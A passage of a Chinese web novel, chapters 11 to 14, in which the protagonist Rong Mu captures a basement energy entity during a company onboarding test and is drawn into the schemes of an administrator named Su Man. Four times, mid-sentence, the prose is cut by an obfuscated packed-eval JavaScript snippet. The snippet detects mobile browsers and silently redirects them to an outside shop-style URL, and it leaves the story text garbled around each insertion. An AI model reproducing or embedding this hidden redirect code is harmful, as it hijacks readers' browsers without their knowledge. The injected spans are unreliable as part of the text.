“拿着这个,‘异常信号捕获器’。”赵工语气平淡,仿佛在介绍一个普通螺丝刀,“去地下二层,旧数据归档中心,那里最近总有不明干扰信号溢出影响主系统稳定性。你的入职考核就是把干扰信号找出来,用捕获器带回样本。” 他指了指容目手中的金属方块:“到地方以后,按一下顶部的凹陷处,它会自动搜寻并锁定异常信号源。找到它,然后靠近,保持接触至少十秒,直到捕获器纹路变成稳定的蓝色,你就成功完成考核了。” 这任务听起来简单直接,但容目却想到了一个关键问题:“赵哥,地下二层……怎么去?还有,不明干扰信号具体是什么形态?有什么危险吗?” 赵工已经重新拿起万用表,背对着她,语气带着一丝被打扰的不耐烦:“员工电梯权限已经临时给你开通了。至于信号形态?可能是残留的数据幽灵,也可能是设备老化产生的畸变场,还可能是从隔壁‘生态园’跑出来的精神污染孢子……谁知道呢。形态不固定,每次都不一样。危险?当然有,不然为什么归我们运维管?” 他侧过头,镜片后的目光扫过容目苍白的脸和眼角的伤,语气依旧没什么波澜:“怕了?现在放弃考核也可以,直接去人事部办离职。”说罢,赵工不再理会容目,只是专注地测量着机箱内的电路参数。 容目握紧了手中冰凉的金属方块,低低地应了一声:“我去。”然后转身离开了运维办公室。 在没有获得足够的恐惧值之前,她需要一个合理的身份。 所以,她不能放弃参加临时运维助理的入职考核,这是中立区送到面前的机会。 按照指示,她乘坐电梯顺利下到地下二层,没再遇见公司的其他员工。 在电梯门打开的瞬间,一股混合着尘埃、霉味和隐约臭氧的气息扑面而来。与楼上现代化的办公环境截然不同,这里灯光昏暗,走廊狭窄,墙壁是裸露的水泥,天花板布满了粗细不一的管道,偶尔发出沉闷的金属撞击声。 旧数据归档中心的大门厚重且陈旧,门上红色的“闲人免进”字样已经斑驳。容目推开门,里面是一个巨大的、如同图书馆阅览室般的空间,只不过书架被一排排密集排列的、闪烁着微弱指示灯的黑色服务器机柜所取代。 这些机柜整齐而沉默地立在一旁,如同来参加葬礼的宾客,安静且肃穆。 容目被自己的想法惊了一跳,暗自皱眉,怎么会突然想到葬礼这么个不吉利的比喻? 她脚步轻轻,穿梭在机柜之间。空气阴冷,只有机器运行的低沉嗡鸣声,以及某种……仿佛无数人同时低语的、极其细微的杂音。 她按照赵工的指示,按下了捕获器顶端的凹陷。 “嗡——”捕获器轻微震动起来,表面的纹路流动速度加快,晃成一片散碎的光芒。它像指南针一样,在容目手中调整着方向,最终,它头顶探出的指针指向了房间深处的某个角落。 容目深吸一口气,朝那个方向走去。 越往里走,空气就越阴冷,那种低语般的杂音也越发清晰,她感到一阵阵莫名的焦虑和寒意顺着脊椎爬上来,搅得人心神不宁。 终于,在最后一排机柜的阴影里,捕获器的嗡鸣变得尖锐,指针颤动着指向了空无一物的前方。 容目停下了脚步,这什么也没有,可捕获器却明确指示干扰源就在这里,那就只有一种可能了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039424|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她摸了摸眼角的伤口,集中精神,真视之瞳悄然运转。 眼前的景象让她呼吸一滞。 空气中悬浮着一个不断扭曲的半透明能量聚合体。它没有固定形态,像是一团有生命的粘稠液体,表面不断翻滚着,不断伸出无数细小的的、如同神经纤维般的触须,探入周围的服务器机柜。 那些触须所及之处,机柜上的指示灯便会如同接触不良一样疯狂闪烁,空气中令人不安的低语也随之增强。 更让容目心惊的是,她看到几条格外粗壮的能量触须,如同植物的根系般,深深扎入了地板之下,似乎连接着更深处、更庞大的什么东西。 这就是干扰源?一个无形的、能量状态的异常存在。 这东西究竟是残留的数据幽灵,是设备老化产生的畸变场,还是从隔壁‘生态园’跑出来的精神污染孢子,容目不得而知,但是单单看到它庞大的体型和周边扭曲的磁场,就没有人会觉得它好对付。 容目借着机柜的遮掩,尝试悄无声息地靠近干扰源。但那能量体仿佛拥有感知,猛地收缩,随即像只受惊的变形虫般向侧方弹射开去,速度快得只留下一道残影。同时,一股混合着混乱思绪与负面情绪的精神冲击扑面而来,让容目感到一阵剧烈的眩晕,耳边响起了无数人的尖叫与哭泣。 她连靠近对方都无法做到,更别提还要保持接触至少十秒! 容目强迫自己冷静下来,将真视之瞳催动到极限。不知是不是她的错觉,这一次,除了她的眼睛因为异能使用过度而感到酸疼之外,她隐隐觉得自己对异能的掌控程度加深了,异能运转更加流畅顺滑。 但现在不是研究异能的好时机,容目压下自己心底升腾起来的兴奋,抬眼望向那个形状诡异扭曲的干扰源。 视野中的世界渐渐剥离了表象,她的目光穿透了那些不稳定的能量场,捕捉到了干扰源的核心。那是一个如同衰弱心脏般不规则搏动的苍白光核,无数细密的能量丝线从中蔓延,构成了它变幻不定的形态。 同时,她也清晰地看到了干扰源移动时,在空中留下的、如同荧光痕迹般的能量轨迹,这些轨迹并非杂乱无章,而是遵循着某种扭曲的路径。扎入地板的粗壮触须,正源源不断地将一些暗色的能量输送上来,注入苍白光核。 它并非独立存在,而是在从下面汲取力量!这个发现让容目心头一沉,这意味着面前这个麻烦可能只是她接下来困境中的冰山一角。 一时间,双方都没有动作。 见容目不再试图靠近它,干扰源似乎放下心来,悠悠地“飘”在地面上方,不时更换一下自己的位置,继续将触须插入周边的机柜中,如同无声的挑衅。 容目屏住呼吸,不再被动追逐。 她紧盯着那苍白光核以及它移动时留下的能量轨迹,大脑高速运转,分析着它的移动规律和下一个可能的落点。 等了一会,她的嘴角稍稍勾了一下,她看到了,每一次能量体完成移动以后,会有一个极短暂的、几乎无法察觉的凝滞瞬间。也就是说,干扰源每次动作,都需要短暂“充能”。 而它下一次停留的时候,就是她的机会! 12. 第12章 考核成功 在干扰源再次弹开,能量出现微乎其微凝滞的刹那,容目将全身力量灌注于双腿,猛地向前一窜,同时将手中早就蓄势待发的捕获器狠狠按向它即将凝实的一团能量! “滋啦——!” 如同热油泼水!捕获器与干扰源接触的刹那,爆发出了刺耳的噪音和强烈的光芒!干扰源在小小的捕获器下挣扎着、扭曲着,却移动不了一分一毫。 比之前强烈数倍的精神冲击如同凝成实质的海啸,一波波砸向容目的意识壁垒。冰冷、绝望、狂躁……种种负面情绪都咆哮着、怒吼着,试图侵蚀她的神智。 容目没想到干扰源的垂死反扑竟会如此凶狠,被它突如其来的攻击直直砸上了脑海,她感到鼻腔一热,温热的液体不断涌出,视线边缘也开始模糊、晃动。 不能松手!一旦失败,再想靠这个办法抓到它就几乎是不可能的事了。 她承受不起入职考核失败的后果,在任务完成之前,她不能离开这家公司!她不想后半辈子都被困在这个恶心的中立区里! 她狠狠一咬舌尖,靠着这一瞬间的疼痛让自己清醒过来,腥甜的气息在她的唇舌间蔓延,而她,死死盯住了垂死挣扎的干扰源。 她将全部意志力都集中在双眼,真视之瞳紧紧锁定那个搏动的苍白光核,她的世界中此刻只剩下了这一个目标:抓住它! 双手因为过度用力而颤抖,但她依旧死死抵住捕获器。 七秒、八秒、九秒…… 就在捕获器上的光芒越来越亮,纹路即将全部变为蓝色时,异变陡生! 苍白光核猛地一亮,一股远比之前精纯、冰冷的黑暗能量顺着地底触须逆冲而上,直扑容目双眼!容目甚至通过真视之瞳,隐约“看”到了地板下方那庞大的阴影轮廓微微一动! 地下的东西,被惊动了。 这个认知带来的恐惧如同冰锥,瞬间刺穿了她紧绷的神经! 那股能量速度飞快,越来越近,再有不到一秒钟就能完全刺穿她的瞳孔,容目下意识想往旁边一扑,可是她的身体却依然停留在原地。地底的那个东西,禁锢住了她的全部动作。 她拼命地踢打、挣扎,但这一切都只发生在她的脑海里,在现实中,她的身体依然纹丝未动。 真视之瞳中已经倒映出了那一点寒光,散发着幽幽的黑色,冰冷刺骨,邪恶又妖冶。 容目绝望地闭上眼——这是她现在唯一能做的动作了,等待着接下来的剧痛。 她死之后,也不知道是会变成中立区里的怪物,还是会直接被中立区所吸收? 无论哪种情况,想象起来都让人心里不舒服。 也不知道这个怪物究竟来自哪里? 突然,她紧闭着的眼睛透过眼皮感受到了一股强光,容目的睫毛不自觉地颤动了一下,用手挡住了眼睛。 哪里来的光?遮住了都能感受到那种极致的明亮。 等等,容目后知后觉地倒吸一口凉气,她能动了! 接着手掌的遮挡,她猛然睁开眼睛。几乎是同时,捕获器上夺目的蓝光如同水波般柔柔地、却势不可挡地铺满了整个房间。 那股逆冲而上的黑暗能量被困在了柔蓝的光芒中,不得寸进,接着,这能量如同冰雪遇见了烈阳,急剧塌缩,瞬息之间就化为乌有,被完全吸入了捕获器中,只留下了一声微弱而不甘的哀鸣。 周围令人崩溃的低语和精神冲击戛然而止,机柜的指示灯也恢复了平稳的闪烁,地底下再也没有了隐约的震动,一切重归寂静,仿佛刚才的一切只是她一个人的幻觉。 容目脱力地滑坐在冰冷的地板上,背靠机柜,虚弱地喘息着,每一次呼吸都带着喉间铁锈般的血腥气。 她颤抖着手,试了好几次才抹去了鼻下的血迹,感觉全身的力气都被抽空了。 捕获器被她轻轻地放在腿上,刚才光华大作、威力强悍的蓝色纹路,现在已经偃旗息鼓,平和地闪烁着点点微亮,映亮了一小片空气,一点也看不出它刚刚吞了一个庞大的干扰源。 容目休息一会,好不容易积攒了一点体力,终于艰难地从怀中取出了羊皮纸,沉寂了这么久,羊皮纸终于舍得冒出了一行字: 【鲜活的“恐惧”,目前收集进度95%】 与无形能量体的生死对抗,尤其是最后时刻感知到地底未知存在的惊鸿一瞥,给她带来了巨大的冲击,“恐惧”上升了这么多也是理所应当的。 容目的目光在95%上逗留了一会,越接近100%,恐惧的收集难度就越大,也不知道最后的5%,要在什么情况下才能获得。 她仰头靠在机柜上,疲惫地叹了口气,事已至此,只能走一步看一步了。 五分钟以后,容目颤颤巍巍地扶着机柜站了起来,她不敢在此地久留,如果再来一次干扰源异动,她可真要交代在这里了。 拿着恢复平静的捕获器,她步履蹒跚、跌跌撞撞地离开了这个危机四伏的地下归档中心。 回去的路上依然风平浪静,员工电梯平稳地运行着,直直地升到了28楼。 这个时间,大家应该都在忙工作吧。踏下电梯的时候,容目心里划过了这么个念头。 再次穿过28楼长长的走廊,那种阴冷的窥视感依然存在,每一扇门后都仿佛藏匿着一双充满恶意的眼睛,如同毒蛇般窥伺着她的一举一动。 容目现在虚弱得很,必须扶着什么东西才能带动自己酸痛的身体,而走廊两侧,也只剩下洁白的墙壁和几道门可以支撑住她的身体了。 无论门里是什么,目前应该都没有攻击她的意愿……吧。 “吱呀——”门被推开的声音在寂静的走廊里突兀地响起,容目浑身一僵。 定了定神,容目四下一看,略微松了口气,打开的门不在她推过的门当中,而是在她面前十来米的地方,和运维办公室只隔了五六米,那么这扇门应该和她没有关系了。 她暗暗松了口气,继续向前艰难地挪动。 一会只要不靠近那扇门就好,她可以贴着另一边的墙走,一样能到达运维办公室。 那扇门又开大了一点,发出了一声门轴运转时的刺耳声响,在容目又一次惊疑不定地停下脚步时,门内传来了高跟鞋落地时清脆的“哒哒”声。 一只套着红色高跟鞋的脚,从门里伸了出来。 不会……这么巧吧…… 但事实证明,有的时候就是这么巧。 都市丽人打扮的年轻女孩跨出了门,正好与依然扶着墙的容目四目相对。 女孩的视线在容目手中的捕获器上转了一转,面上流露出了一种“原来如此”的表情,她似乎没有搭理容目的意思,踩着高跟鞋就要和容目擦肩而过。 不知道为什么,这个女孩总让容目感觉到不安,此刻她要走,真是再好不过了。 容目刚松了半口气,还没再次抬步,高跟鞋却忽然顿住了。 那女孩又歪头看了她几秒钟,直看得容目后背发凉,女孩才开口了,她的声音和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039425|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长相一样,甜丝丝的:“你是运维的新人?” 容目没想到她会突然开口,愣了半秒才点了点头:“是。” “哦——”女孩拖长了语调,甜美的声音里带着一丝不易察觉的玩味,“刚做完地下二层的清理任务?”女孩的目光着重落在了容目新增添的几道血痕上。 容目心里咯噔一下,她怎么会知道?这不是赵工临时指派下来的考核内容吗? “看来赵工还是老样子,尽把这种棘手的活儿丢给新人。”女孩仿佛看穿了她的疑惑,轻笑一声,但笑意并未到达眼底,“我们之前也见过一面了,自我介绍一下,行政部,苏曼。负责……嗯,一些特殊事务的协调。” 她说着,从精致的手包里优雅地抽出一张喷着淡香的名片,递给容目。之前她在电梯里抱着的平板电脑现在已经不在手中了,这让她看起来不像是个上班族,反而像是一个精心打扮来逛街的大小姐。 容目迟疑地接过来。名片触手温良,材质特殊,上面只有【苏曼】这个名字和一个内部通讯分机号,没有任何职位头衔。 “考核通过了?”苏曼上下打量着容目,眼神像是在评估一件商品,“能从下面拿着这东西回来,你还是有点本事的。不过……”她话锋一转,声音压低了些,带着一种分享秘密般的亲昵,“你在地下,没感觉到什么……特别的东西吧?” 容目心中一凛,地底那庞大的阴影轮廓瞬间闪过脑海。她强行压下翻涌的情绪,面上维持着平静,甚至带着点刚刚完成任务的疲惫:“特别的东西?干扰源吗?确实挺难缠的。” 苏曼盯着她的眼睛,漂亮的瞳孔中仿佛带着洞察人心的力量,想从她脑海里挖出点什么。 几秒后,她似乎没找到想要的答案,又或许觉得容目不可能知道什么,便无所谓地耸耸肩:“没什么,随便问问。顺便给你个忠告,在盛德,做好分内事,不该看的别看,不该问的别问。好奇心太重……”她意味深长地顿了顿,红唇勾起一抹冰冷的弧度,却不再继续往下说了。 苏曼最后深深地看了她一眼,不再停留,转身离去,高跟鞋敲击地面的声音渐行渐远,留下容目一个人站在原地,手心里紧紧攥着那张冰凉的名片,后背已被冷汗浸透。 苏曼的话像一颗投入平静湖面的石子,在她心中荡起层层涟漪。这个公司有很多秘密,而她现在,似乎正站在什么谜团的边缘,稍有不慎,就会粉身碎骨,万劫不复。 她稳了稳心神,将名片塞进口袋,继续扶着墙,一步步挪向运维办公室。 推开门的瞬间,赵工依旧埋首在电路板中,连头都没抬。 “东西放那个台子上。”他抽出手指了一下旁边,言简意赅。 容目将捕获器放在指定的金属台上。 “考核通过。”金属台上传出了一个平平的机械音。 赵工这才抬起头看了她一眼,“以后你负责每日系统日志的初步筛查,电脑在那边,规则和模板都在电脑里。”他说完,便又是一阵沉默,只有焊接枪的细微声响。 容目走到角落那张属于她的空桌子前,打开电脑。屏幕亮起,自动登录了一个极其简朴的系统界面,上面只有一个图标——【运维日志分析】。 她点开图标,密密麻麻的数据流滚动出现。工作内容枯燥而机械,但此刻,这种按部就班的任务反而让她感到安心。 然而,这种安心并未持续多久。 很快,她的目光定定地粘在了日志的其中一段文字上。 13. 第13章 会面 日志中下段一个不起眼的条目里,有一段明显不属于日志原本内容的文字: 【时间:今日10:23:17】 【事件类型:用户留言(加密通道——权限等级:行政A)】 【来源:行政部——苏曼】 【目标:新注册临时运维助理账户】 【内容:(点击查看——需生物特征验证)】 苏曼?她怎么会……而且是通过运维系统内部的安全通道?行政部的人怎么能随意在核心运维日志里留下这种私人信息?这需要多高的权限? 容目的心猛地一跳。她下意识地看了一眼赵工,他依旧沉浸在自己的工作中,对容目电脑屏幕上的异常毫无察觉。 她深吸一口气,小心地将手指按在了屏幕指定的区域,一道微光扫过她的指纹。 加密内容展开,只有简短的两行字: 【看来你注意到了。】 【想聊聊吗?B1,员工休息区,现在。】 没有威胁,没有解释,只有一句平静的邀请。但在这平静之下,容目感受到了一种一切尽在掌握,且不容拒绝的强势。 这个女人,对整个运维系统、对每个人的一举一动,似乎都了如指掌。 明明刚和她分开没多久,为什么苏曼又要找她面谈?她究竟有什么地方吸引了对方的注意力? 羊皮纸在怀中传来熟悉的温热感。 【鲜活的“恐惧”,目前收集进度97%】 这种被无形之手操控着,慢慢走向前方无尽黑暗中的感觉,比直面地底的怪物更让人不寒而栗。对方在暗,她在明,她甚至不知道这张网有多大。 去,还是不去? 容目看着那行简洁的邀请,指尖微微发凉。她需要最后3%的恐惧值,但是为此卷入苏曼的计划、卷入公司中的暗流涌动究竟是否值得?毕竟,生命只有一次。 她不知道自己愣愣地坐了多久,但是最终,她关掉了日志界面,平静地站起身。 “赵哥,我去趟洗手间。”她尽量让自己的声音听起来自然一些。 赵工头也不抬,只是挥了挥手,示意她自便。 “以后这种事不用跟我汇报,又不是幼儿园小孩了,什么都要和老师说一声。”在容目推开办公室的门,再次踏入寂静的走廊时,赵工的话在背后不耐烦地响起。 容目轻轻应了一声,将门在背后小心地合拢,没发出什么动静。 这一次,她的目标很明确——B1,员工休息区。 她没有乘坐通常的员工电梯,虽然她不怕被别人看见,但是还是应该谨慎一点。她按照曾经看过的公司内部地图的指引,找到了走廊尽头、一部较为隐蔽的、通往更低楼层的专用电梯。 电梯刚好停在28楼,容目走进去,按下B1的按钮,电梯无声下降。 电梯速度很快,不过十来秒以后,门就缓缓向两侧打开。 B1层的环境与楼上截然不同,光线柔和,空气中飘着淡淡的咖啡香和食物加热后的味道。这里看起来就像是一个普通的公司休息区,有舒适的沙发、茶几,甚至还有几盆绿植。 几个穿着不同部门制服的员工零散地坐在各处,低声交谈或看着手机,一切看起来正常得过分。 就在这种地方交流?会不会太不安全了?容目心里划过了这个念头。 她目光在室内一扫,很快锁定了站在角落一台银色咖啡机旁的苏曼。她正优雅地端着一杯咖啡,见到容目,还举起杯子向她示意了一下。 容目向两侧看了看,见没有人注意到这边,就迟疑地走过去,在苏曼面前站定。 “速度挺快。”苏曼抿了一口咖啡,毫不在意容目的警惕,语气轻松,“看来你没我想的那么……犹豫。” “你怎么做到的?”容目直接了当地问道,但声音压得极低,“你能在运维日志里留言?” 苏曼随意将咖啡杯放在台面上,笑容不变:“行政部总有一些特殊渠道来处理特殊事务。” 苏曼的目光轻飘飘地扫过容目,像羽毛拂过,却带着千斤重量,“比如,确保某些事情,停留在合适的层面。” 她勾起红唇一笑:“地下的能量波动,或者新人过于敏锐的感知力,都属于我们行政部管辖的范畴。” 容目指尖瞬间冰凉,苏曼知道了!她不仅知道自己窥见了地底的部分秘密,甚至可能察觉到了她异能的端倪。 “我不明白你在说什么。”容目垂下眼睫,盯着咖啡机上自己的倒影,声音维持着一种刻意营造的平淡,“我只是完成了赵工安排的考核。” 苏曼笑出了声,声音像裹着蜜糖的细针,“完成得很好,不是吗?好到让人无法忽视。” 她向前倾了倾身子,带来一阵浓郁的香水味,“但是赵工那个人,最不喜欢带新人了,他的考核通过率,你知道是多少吗?” 容目皱起眉头,不知道苏曼突然转变话题是什么意思,但还是摇了摇头。 “零。”苏曼红唇轻启,吐出一个冰冷的数字,然后满意地看着容目的瞳孔因为震惊而微微收缩。 “在他手下,没有一个临时助理能通过考核。要么主动放弃,要么……在任务中‘意外’消失。”苏曼又拿起咖啡杯,指尖轻轻敲击着杯壁,发出规律的脆响,每一声都敲在容目紧绷的神经上,“而你,不仅回来了,还带回了完整的捕获样本。” 她微微偏头,“这很不寻常,容目。我想,赵工也会很疑惑,明明他并没有交给你看到那种东西所必须的‘眼镜’,你是怎么成功通过考核的?他会不会在你的考核报告里,加上一些特别的备注?” 容目的后背渗出了点点冷汗。她想起了赵工那双冷漠的眼睛,如果他真的开始怀疑…… “为什么告诉我这些?”容目抬起眼,试图从苏曼深不见底的双眼中找出她的真实意图,“这些事应该和你没关系吧。”她不相信苏曼只是单纯的好心。 “因为我欣赏能创造‘价值’的人。”苏曼直起身,恢复了那种优雅疏离的姿态,从手包里取出一个指甲盖大小、泛着冷光的金属薄片,随意放在咖啡机顶上,“而你的价值,目前能够吸引我与你合作。” 金属薄片平平地躺在咖啡机上,像一个等待认领的潘多拉魔盒。 “下次运维日志里出现标红的【数据碎片回收】任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039426|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,”苏曼的语气轻描淡写,仿佛在讨论天气,“用这个,替换掉赵工会给你的标准工具,然后把回收到的‘碎片’带给我。” 容目死死盯着那金属薄片,它看起来精致而无害,却散发着不祥的气息。 “我凭什么要帮你?”容目没有动,声音里带着最后一丝挣扎,“我又凭什么要相信你?” “你可以不帮。”苏曼干脆利落地回答,轻轻端起咖啡,氤氲的热气模糊了她的神色,“那你就祈祷赵工永远保持他那份可贵的‘迟钝’,或者,祈祷上面派人来‘核查’时,过程会比较……文明。” 抿了一口咖啡,苏曼放下杯子,杯底与台面碰撞,发出轻微的“咔哒”声。 “至于信任?”苏曼轻笑,那笑容里带着几分嘲弄,“这不是信任,是选择。就看你是选择在一无所知的迷雾里独自摸索,直到撞得头破血流;还是选择……多一个或许能为你指条明路的‘同行者’。” 她微笑了一下,声音压得更低,带着蛊惑人心的气息:“帮我,就是帮你自己。我能让某些关注你的视线适当转移,甚至在你需要的时候,为你打开一扇‘方便之门’。” “方便之门”四个字,她咬得格外轻,却像一把重锤,直直砸在容目心上。 容目轻吐了一口气,她知道苏曼指的是什么——她怎么知道的?她居然能帮助她离开这个中立区? 这个诱惑让她无法拒绝,但风险也同样深不见底。 她看着苏曼,两人之间隔着不到一米的距离,仿佛在进行着一场无声的生死博弈。 容目的手微微发抖了,她知道,一旦拿起那个金属薄片,可就再也没有回头路了。她将彻底踏入苏曼编织的网中,成为任人摆布的棋子。 但是,她承受不起拒绝的代价。 容目闭了闭眼,再睁开时,眼底只剩下了孤注一掷的决绝。她伸出手,将冰凉的金属薄片牢牢地攥入手心,指尖因用力而微微泛白。触感坚硬,边缘锐利,像一块凝固了的寒冰。 苏曼脸上慢慢露出了一个真正算得上愉悦的笑容,像终于收网的渔夫。 “很好。”她直起身,整理了一下裙摆,“那就等你的好消息了,我在行政部302。” 说完,她不再停留,与容目擦肩而过,带起一阵香风,转身融入休息区稀疏的人影中,很快消失不见。 容目独自站在原地,金属薄片硬硬的硌着她的手心,彰显着鲜明的存在感。前所未有的孤立无援紧紧攥住了她。 良久,容目强迫自己走向门口的电梯,她出来的时间已经够长了,至少现在,她还不能彻底失去赵工的信任。 再次回到运维办公室,赵工依然是那一副漠不关心的样子,即使自己的临时助理出去了这么长时间,他似乎也不认为这是一个值得关注的问题。 容目沉默地坐回自己的位置,指尖无意识地在键盘上摩挲。屏幕上,枯燥的日志数据依旧在滚动,但她一个字也看不进去。 刚才在重重压力下她没来得及细想,如今想来,一个疑惑突然浮现在了她的脑海中:苏曼真的有能力把她送出中立区吗? 容目背后渐渐滑下了几颗冷汗。 14. 第14章 阴谋 这个念头一旦升起,便如同藤蔓般疯狂滋长。 苏曼展现出的能量确实惊人——她能绕过运维系统的安全协议给自己留言,对地底发生的事情几乎一清二楚,甚至知道自己并不属于中立区内部的世界。 但“离开中立区”?这听起来已经超出了所谓“行政部特殊事务”的范畴。 中立区是一个独立的规则空间,连副本都只能将其作为特殊场景嵌入,苏曼一个“公司职员”,凭什么能打破这个空间的规则? 除非……她拥有的权限,或者说她背后代表的势力,本身就与中立区的存在息息相关? 这个猜测让容目的脊背又爬上了一层寒意。她又想起了不久之前,羊皮纸诱导她登上回程地铁的事情。 如果苏曼真的代表了中立区的一部分势力,那么她还可信吗?她会不会也像羊皮纸一样,欺骗她走向另一条不归路? 容目的指尖在键盘上悬停,冰冷的理智逐渐压过了被苏曼牵着鼻子走的慌乱。她不能被对方的气势和话语迷惑,在行动之前,她必须找到确凿的证据来验证自己的猜测。 苏曼的权限高得异常,这本身就是最大的疑点。一个行政部职员,凭什么能凌驾于运维安全协议之上? 容目连上公司的内部网络,检索并调出了公司内部架构图。好在盛德公司的内部运作结构和她之前上班的地方还算相似,操作流程也大体相同,容目这么想着,舒了一口气,目光锁定在【行政部】的区块上。 与其他部门详细列出职能和人员不同,行政部的介绍异常简洁,只标注着【负责内部协调与资源调配】,人员名单更是语焉不详。 她尝试搜索苏曼的详细档案,却只得到了一个标红的【权限不足】提示。 这证实了一部分她的怀疑——苏曼,或者说行政部,在公司内部处于一个超然的、不受常规约束的位置。 架构图上也得不到什么有用的信息了,容目关掉页面,重新在运维系统的历史任务记录中搜寻。 她避开了近期的记录,转而调取数月甚至更早前的档案。不得不说,赵工对她真是放心得很,她不过是一个刚刚入职的新人,赵工就敢让她接触全部运维数据,连权限都没设置。 容目暗暗感慨,将检索关键词设定为【数据碎片回收】、【B3区域】、【异常事件】。 大量的记录被筛选出来,其中大部分是常规的数据清理任务。但没过多久,容目就注意到,每隔一段时间,就会有几条显得格外不同的记录出现: 这些任务的风险等级都被标记为【高】或【未知】。 执行人员无一例外都是【临时权限账户】。 任务状态大多是【已完成】,但备注里常常带着一句格式化的【执行人员账户已注销】。 “账户已注销……”容目的心沉了下去,她不觉得这是离职这么简单。 她进一步缩小范围,查找与“污染”、“核心数据库”、“异常能量”相关的记录。 终于,在一条边缘化的陈旧记录中,她看到了一段令人心惊的描述: 【…B3-07区检测到高浓度异种精神污染…与底层…产生异常共鸣…初步判断为‘外来概念’侵入…尝试隔离失败…建议启动‘净化协议’…】 外来概念侵入?净化协议? 容目回想起了自己在B3区感受到的那股令人作呕的甜腻腐败气息,以及纠缠痛苦的意识。难道那就是他们所说的‘外来概念’?而苏曼要的,正是这种东西。 苏曼收集这个想做什么?容目不自觉攥紧了拳头,感到一阵后怕,自己差一点就成了帮她获取这种危险物质的工具。 容目看着屏幕上那些“账户已注销”的记录,眼神一点点冷了下来。 如果继续按照苏曼的计划前进,风险实在是太大了。她无法信任一个背景成谜、目的不明、而且大概率将自己当成消耗品的人。 但她也不能完全与苏曼割席。苏曼目前展现出的能量是实实在在的,彻底得罪她,自己在公司将寸步难行,甚至可能招致更直接的“清理”。 她需要一条新路径——既不为苏曼做事,交出碎片,也不引她猜忌,惹火上身。 她的目光落在屏幕上那条关于“外来概念”侵入的记录上。或许……她可以暂时拖延一下时间。 容目压下狂跳的心脏,快速操作起来。她小心地抹去自己刚才查询敏感记录的大部分痕迹,只留下一些无关紧要的浏览记录。然后,她模仿着以前记录的内容,编写了一段简洁的报告: 【主题:B3数据碎片回收任务异常情况汇报】 【内容:于今日X时X分执行B3-07区数据碎片回收任务。任务过程中遭遇高强度精神污染冲击,回收工具(自备辅助设备)出现短暂过载。捕获样本稳定性存疑,暂存于加密容器。为安全计,请求技术支援与样本安全性评估。】 【发送至:行政部-苏曼】 【状态:内部加密】 容目不敢将消息发给赵工。虽然她刚刚入职,但赵工对技术细节的执着已经深入人心了,一旦他介入,很可能会要求查看所谓的“自备辅助设备”和“不稳定样本”,还有可能询问自己去捕获的时间,那她的谎言就会立刻被戳穿。 所以,她现在只能寄希望于自己对赵工浅薄的了解,赵工在将日志交给她以后,不会再细致地核对一遍。这样,她就能为自己挣得一点宝贵的时间,稳定住苏曼,找出一条生路。 这份报告是她目前能想出的唯一办法了。 “遭遇高强度精神污染冲击”——解释了为何没有立即交付,向苏曼暗示了任务的难度和风险。 “回收工具出现短暂过载”和“样本稳定性存疑”——这是又一道保险,如果苏曼一定要亲眼见到那个金属薄片,这个理由也能减轻苏曼对金属片内部空空如也的怀疑。 “请求技术支援与样本安全性评估”——将问题抛回给苏曼,这是一步险棋,但是可以暂时稳固苏曼对她的信任。 容目手指有点抖,这个谎言苏曼迟早都会发现,现在就看是自己找到生路的速度快,还是对方报复的速度来得更快。 她在与自己的生命赛跑。 容目点击了“发送”。 她快速切断了与这条报告相关的所有后台日志记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039427|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只留下一个已发送成功的状态。她不能让任何人,尤其是赵工,察觉到这份刻意绕过他的汇报。 现在,她为自己争取到了一点宝贵的时间。苏曼收到报告后,大概率不会立刻发难,而是会先评估情况——她需要确认碎片的状态,也需要判断容目是否在耍花样。这个空档,就是容目的机会。 她的目光再次投向屏幕,关掉了运维日志。在公司官网上输入关键词检索,很快,屏幕上就跳出了容目正在搜索的东西——公司的底层网络架构图和权限说明。 